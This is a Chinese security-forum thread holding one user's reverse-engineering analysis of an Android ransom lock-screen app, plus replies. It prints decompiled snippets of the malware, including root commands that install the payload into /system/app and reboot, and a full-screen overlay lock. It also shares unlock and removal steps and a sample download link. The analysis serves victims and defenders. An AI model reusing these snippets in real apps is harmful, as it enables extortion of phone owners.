吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 89615|回复: 395
收起左侧

[移动样本分析] 对一个"刷机无效"的坑爹锁屏APP的分析

    [复制链接]
菜鸡葫芦娃 发表于 2016-6-10 13:50
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 Hoimk 于 2016-7-19 21:14 编辑

唔..刚才逛了下悬赏区。看到又是一个被锁屏的孩子,下了个样本,本以为只有简单String+String,没想到看起来还是很高大上的..
我是第一次分析这个...别喷我。。

报告名称:    对一个"刷机无效"的坑爹锁屏APP的分析                                                
  作者:        Hoimk                                                   
  报告更新日期:  2016.6.12
  样本发现日期:  未知
  可能受到威胁的系统: Android        
         
先放第一个Activity的图出来压压惊

QQ截图20160610114205.png

准备工具:
       JEB一个;
       虚拟机一个
分析:
这个APP分为两层,我们先来看看第一层:
把软件拖到JEB里,出来是这样子滴。


QQ截图20160610113742.png

唔,这个备注是我自己写的,变量名方法名是自己改的;

我们先看到Manifest,找到启动类
[XML] 纯文本查看 复制代码
1
2
3
4
5
6
<activity android:label="@string/app_name" android:name=".c">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

       android:name=".c"   这个c就是我改成main的那个。


好,那再看看OnCreate方法,这个方法就是在窗口被打开的时候调用的:
QQ截图20160610114329.png

其实没什么好看的,主要就两句:
[Java] 纯文本查看 复制代码
1
2
v0.b.setOnClickListener(new ButtonClickListener(v0));
v4.d(new StringBuffer().append(v0.path).append("/zihao.l").toString());


第一句是给那个"点击打开悬浮窗"的按钮设置按钮事件,按钮事件是啥呢?看到最前面那张JEB的图了没?事件就是那个onClick方法,咱来看看
[Java] 纯文本查看 复制代码
1
2
3
4
public void onClick(View arg8) {
            new cmd().rootShell();  // 获取Root权限
            file.deleteFile(main.this.file);
        }


这个rootShell其实不只获取root权限..
[Java] 纯文本查看 复制代码
1
2
3
4
5
void rootShell() {
        cmd.execCommand(new String[]{"mount -o rw,remount /system", "mount -o rw,remount /system/app",
                "cp /sdcard/zihao.l /system/app/", "chmod 777 /system/app/zihao.l", "mv /system/app/zihao.l /system/app/zihao.apk",
                "chmod 644 /system/app/zihao.apk", "reboot"}, true);
    }


就是执行这几条命令,啥意思?  大概就是把/sdcard/zihao.l这个文件当成一个APK安装到系统分区里,最后reboot就是重启,当然,他在期间申请了所需要的权限;
然后就是关于这个zihao.l怎么来的?这时候就要回到第二句了,我们看看这个d方法


QQ截图20160610115204.png
这几句就是无限循环的读,读到没得读为止,边读边写,读谁?读自身存储路劲下的ijm-x86.so,然后写出到arg13这个路径,就是在前面传进来的那个路径:
v0.path在构造器中已经声明了是取SD卡根路径;
到这,第一层就结束了,手机开始重启,重启之后就会听到一首十分动听的歌曲。。。然后你也发现屏幕已经被锁住了...重点是...TM的竟然没有输入框,没有输入框!!!给了你一个付款二维码扫描,噢草,这TM就尴尬了。用ADB干掉他,这歌我NM听着就烦;

QQ截图20160610121104.png (真丑,五星差评)

来,看看第二层这个APK;

[XML] 纯文本查看 复制代码
1
2
3
4
5
6
<activity android:label="@string/app_name" android:name=".M">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>


" android:name=".M" 嗯..先看看这个
QQ截图20160610120257.png
意思就是启动MyAdmin这个receiver,

QQ截图20160610120810.png
主要就是把锁屏的pin码设置为1997,然后又启动了s这个服务,那来看看这个s把;
好乱啊..全部无视直接看onCreate和onStart
QQ截图20160610131247.png QQ截图20160610131609.png

看看作者这手法,这套路,v3 v0 v4无限切换,然而说到底都只是同一个对象而已...

[Asm] 纯文本查看 复制代码
1
2
v3.editor.putString("passw", v0.des.encrypt(new StringBuffer().append("").append(v0.  // 加密passw 写进passw属性  key=xxx(图上写错了..忘记改回来)
                       passw).toString()));

分析一下这里,其实很简单,只是把passw用des加密然后写进数据文件里而已,deskey为xxx


你们有没有发现少了点啥...没错,解锁屏的在哪?!!! 全TM是套路..

再看onStart
[Asm] 纯文本查看 复制代码
1
2
3
4
public void onStart(Intent arg8, int arg9) {
        super.onStart(arg8, arg9);
        this.c();
    }

看c方法
[Asm] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void c() {
       s v0 = this;
       v0.wmParams = new WindowManager$LayoutParams();
       Application v6 = v0.getApplication();
       v0.getApplication();
       v0.mWindowManager = v6.getSystemService(Context.WINDOW_SERVICE);
       v0.wmParams.type = 2010;
       v0.wmParams.format = 1;
       v0.wmParams.flags = 1280;
       v0.wmParams.gravity = 49;
       v0.wmParams.x = 0;
       v0.wmParams.y = 0;
       v0.wmParams.width = -1;
       v0.wmParams.height = -1;
       v0.mFloatLayout = LayoutInflater.from(v0.getApplication()).inflate(2130903041, null);
       MediaPlayer v2 = MediaPlayer.create(v0, 2131099648);
       v2.setLooping(true);
       v2.start();
       v0.mWindowManager.addView(v0.mFloatLayout, v0.wmParams);
       v0.bt = v0.mFloatLayout.findViewById(2131361794);
       v0.ed = v0.mFloatLayout.findViewById(2131361792);
       v0.tv = v0.mFloatLayout.findViewById(2131361793);
       s v5 = v0;
       try {
           v5.ed.setHint("宝贝在这输入密码!");
           v0.tv.append("恭喜中奖");
       }
       catch(Exception v5_1) {
       }
 
       v0.bt.setOnClickListener(new 100000001(v0));
       v5 = v0;
       try {
           v5.tv.append(new StringBuffer().append(new StringBuffer().append("\n").append(v0.des.decrypt(
                   "e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c")).toString()).append(v0.share
                   .getLong("m", ((long)0))).toString());
       }
       catch(Exception v5_1) {
       }
   }

别的不用看看这个按钮事件:
v0.bt.setOnClickListener(new 100000001(v0));

[Asm] 纯文本查看 复制代码
1
2
3
4
5
6
7
if(!v4.this$0.ed.getText().toString().equals(v0.this$0.des.decrypt(v0.this$0.share.getString(
                        "passw", "")))) {
                    return;
                }  //判断ed中的内容加密后和保存的passw值是否一致
 
                v0.this$0.mWindowManager.removeView(v0.this$0.mFloatLayout);  //移除Activity
                v0.this$0.stopSelf();


呵呵呵呵呵呵呵,看到这里就明白了把,根本没啥扫码自己解锁;至于这个输入密码的框框和按钮在哪呢....咱来找找

[Asm] 纯文本查看 复制代码
1
2
<EditText android:ems="10" android:id="@id/ed" android:layout_height="4.0dip" android:layout_marginEnd="5.0dip" android:layout_width="5.0dip" />
<Button android:background="@drawable/image_1" android:id="@id/bt" android:layout_height="200.0dip" android:layout_width="200.0dip" android:shadowColor="#ff000000" android:shadowRadius="2.0" android:textColor="#ff000000" />


嗯..那个二维码就是一个按钮,然后这个编辑框好坑爹啊...
QQ截图20160610134550.png
看到红框那里有个小点没有....就在那里输入密码,然后点这个二维码就可以了.......最后锁屏pin码是1997

然后至于作者怎么知道随机密码的问题...我表示不清除,我用ADB把SharedPreferences文件拷了出来,值是0a842e9ccc030aa2,然后key是xxx,解密出来结果是50932,成功解锁...
至于双清为什么无效,因为他把APP安装到了System分区,双清或者覆盖刷机是没法干掉他的,要完全清除System分区再重新刷才可以;
不知道是不是哪里错了,有的话求大牛带飞。
最后..完。


2016/6/15:
补充一下解决办法:
其实我也没想到什么很好的办法,我不知道线刷会不会清除system分区,回复下有几个说线刷就可以解决的请自己试试吧。
上面说了,必须清除System再卡刷就能干掉他,而清除System的目的也只是为了删除掉这个APP而已,实际上只要用带文件管理的第三方的rec删除掉他然后重启就行了,进入system目录,找到名为"com.h"(应该是这个把..我忘了,反正只有一个h的那个)的文件夹将他删除即可,
如果你没有刷过第三方rec,请百度自己机型如何线刷第三方rec!

6.29更新:
今天看到有人说这密码不是随机的..于是我从新下载了样本研究了下...
确实是我眼戳,没有看到后面他把这个pass设置为解锁序列号了:
[Asm] 纯文本查看 复制代码
1
2
3
tv.append(new StringBuffer().append(new StringBuffer().append("\n").append(v0.des.decrypt(
                    "e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c")).toString()).append(v0.share
                    .getLong("m", ((long)0))).toString());

他首先把"你的解锁序列号"加密成密文了,(我一眼看上去也没在意,我的序列号又是100,我还以为那是固定唬人的)...然后再把序列号取出来,加到文本框的后面。
所以解锁密码应该是 “(序列号+7176)*7”
感谢@绝版ren物

样品:链接: http://pan.baidu.com/s/1kVdav8F 密码: 8wtz

Blog:http://www.hoimk.com/reverse/53.html








点评

求楼主帮忙分析下!这个锁机的密码是多少http://www.52pojie.cn/thread-573433-1-1.html  发表于 2017-1-13 20:21
http://www.52pojie.cn/thread-513478-2-1.html这个也高大上 都会说话  发表于 2016-7-9 15:12
加密不是随机的,this.passw = new Long((this.pass + 7176) * 7);  发表于 2016-6-28 14:24
的[/col...  发表于 2016-6-28 14:22
线刷是可以搞定的,线刷会把里面软性的东西都换一遍的 包括REC ,BUT 要刷官方版本的  发表于 2016-6-18 14:41
我用模拟器尝试的时候锁机软件是/system/app/zihao.apk  发表于 2016-6-16 15:30
应该不打紧 现在第三方rec都支持文件操作 直接删了他害怕他浪  发表于 2016-6-15 10:42
刷机应该是可以得,因为刷机的时候一般会格式化system分区,不行就手动格式化system,个人见解,大神勿喷  发表于 2016-6-14 16:07
Hoimk越来越牛逼了  发表于 2016-6-10 20:31

免费评分

参与人数 161吾爱币 +18 热心值 +159 收起 理由
福慧增长69 + 1 + 1 用心讨论,共获提升!
kcuye + 1 + 1 用心讨论,共获提升!
Neo_0 + 1 我很赞同!
细胞 + 1 用心讨论,共获提升!
xiexaingyin + 1 + 1 线刷是可以的,之前中招,付款给的就是线刷的教程,软件作者也是够够的了
siuhoapdou + 1 + 1 谢谢@Thanks!
long9 + 1 + 1 用心讨论,共获提升!
风予 + 1 + 1 谢谢@Thanks!
lumou + 1 + 1 好腻害!!
gogogo2000 + 1 + 1 非常无敌,但是我不相信刷机刷不掉他……毕竟是安卓
Pingerfy + 1 + 1 用心讨论,共获提升!
忘却世俗人 + 1 热心回复!
18023474704 + 1 + 1 用心讨论,共获提升!
yuxing818 + 1 + 1 谢谢@Thanks!
myy0222 + 1 + 1 我很赞同!
ChongLtr + 1 + 1 同学手机所有数据木有备份..然后给线刷就都没了.
超神只是一瞬间 + 1 + 1 热心回复!
dhr008 + 2 + 1 用心讨论,共获提升!
北极光冷 + 1 解气啊
迷雾 + 1 666666
zcm2005 + 1 用心讨论,共获提升!
心若在 + 1 666
horse5700 + 1 谢谢@Thanks!
puppey + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
kylinpapa + 1 我很赞同!
沙滩 + 1 已答复!
Outsides + 1 用心讨论,共获提升!
那年丶十七 + 1 还好吧,锁机软件太多了,专门坑小白
亚瑟内 + 1 谢谢@Thanks!
Doughnut + 1 谢谢@Thanks!
ahszdszd + 1 厉害!!
杰哥威武 + 1 诅咒万恶的锁机狗出门撞
哈睿668 + 1 我很赞同!
时光123 + 1 我很赞同!
Personal_pj + 1 热心回复!
1715173329 + 1 鼓励转贴优秀软件安全工具和文档!
Simontune + 1 涨知识了
kiseyzed + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
梧桐夜雨 + 1 我很赞同!
quyangdayi + 1 用心讨论,共获提升!
w460270218 + 1 我很赞同!
yx123 + 1 已答复!
runingdream + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
丨下个丶路口 + 1 用心讨论,共获提升!
z406520384 + 1 鼓励转贴优秀软件安全工具和文档!
q1kx + 1 我很赞同!
glr2009 + 1 我很赞同!
ham_dy + 1 谢谢@Thanks!
中国法制史 + 1 感谢您的宝贵建议,我们会努力争取做得更好!
meicifuxian + 1 我很赞同!
malong0007 + 1 之前我妹的手机被锁了,交钱进群也给密码因为作者也忘了。一直用访客模式。.
wcbwm000 + 1 群号能发么 我想去骂人
wanglaihuai + 1 用心讨论,共获提升!
cc6639581 + 1 亭牛 赞一个 简直看不懂
mcm177 + 1 热心回复!
笨蛋蛋 + 1 鼓励转贴优秀软件安全工具和文档!
泓邱烨叶 + 1 虽不明,但觉厉!
zeng2fu + 1 我很赞同!
gamingnow + 1 用心讨论,共获提升!
Tjttym123 + 1 膜拜大神!
距离在线 + 1 我很赞同!
mirkeyang + 1 我很赞同!
布点丶君 + 1 大牛啊
诚信为人 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
z920977476 + 1 请你帮帮我好吗
WJJIahUa + 1 我很赞同!
极黑 + 1 已答复!
zl535320706 + 1 用心讨论,共获提升!
专注破解 + 1 谢谢@Thanks!
16887988 + 1 热心回复!
三日月宗近 + 1 666学习了
hhkj2015 + 1 我很赞同!
艾肯法莱 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
淼先森 + 1 6666666666666666666
小阿火i + 1 已答复!
Fonq + 1 热心回复!
for123 + 1 用心讨论,共获提升!
telroot + 1 终于让我知道安卓机也有锁机的了,哈哈
sjwx520 + 1 热心回复!
Onlooker. + 1 个人玩安卓多年的经验:直接REC覆盖刷机是可以解锁的,或者REC下直接删除那.
zhaizhe + 1 看不懂 张张见识
我爱你H大 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
yanjingtu + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
zdgk + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
freedev100 + 1 用心讨论,共获提升!
2627097475 + 1 谢谢@Thanks!
gdtangwenxin + 1 好流弊啊
心中有诡 + 1 用心讨论,共获提升!
qwe1035135872 + 1 谢谢@Thanks!
嬴承仲 + 1 我很赞同!
wuai594273539 + 1 很66666.分析得很全面
huangzihang + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
TheChosenPeople + 1 哇塞,好厉害哦,学习了
991547436 + 1 我解锁了好多锁屏都是system里的zihao.apk
oranges + 1 谢谢@Thanks!
只想叫聲“姑娘 + 1 谢谢@Thanks!
爱锅巴 + 1 我很赞同!
1201220210 + 1 棒。理论上线刷基本上会重新分区的,都会清除。还有用ADB应该可以删除APP吧.
pojielover + 1 不明觉厉,希望我也赶快能看懂!
z372100 + 1 我很赞同!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

lwt69 发表于 2016-6-10 13:57
学习了。。。。谢谢分享

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
tingji + 1 + 1 用心讨论,共获提升!

查看全部评分

知足zz 发表于 2016-6-10 14:01 来自手机
风雨飘摇 发表于 2016-6-10 13:57
htcperfect 发表于 2016-6-10 14:02
看来这种锁机玩意真的是越演越烈,还把输入框隐藏得那么隐蔽
凉米饭 发表于 2016-6-10 14:03
谢谢楼主,学习了.
atgadg 发表于 2016-6-10 14:08
感谢楼主热心分享
poxiaoma 发表于 2016-6-10 14:08
楼主你用的模拟器好用吗?可以多开咩?占内存多不?
 楼主| 菜鸡葫芦娃 发表于 2016-6-10 14:09
poxiaoma 发表于 2016-6-10 14:08
楼主你用的模拟器好用吗?可以多开咩?占内存多不?

还行啊,自带多开器
头像被屏蔽
点击下载 发表于 2016-6-10 14:11
又漲知識了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-27 10:52

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表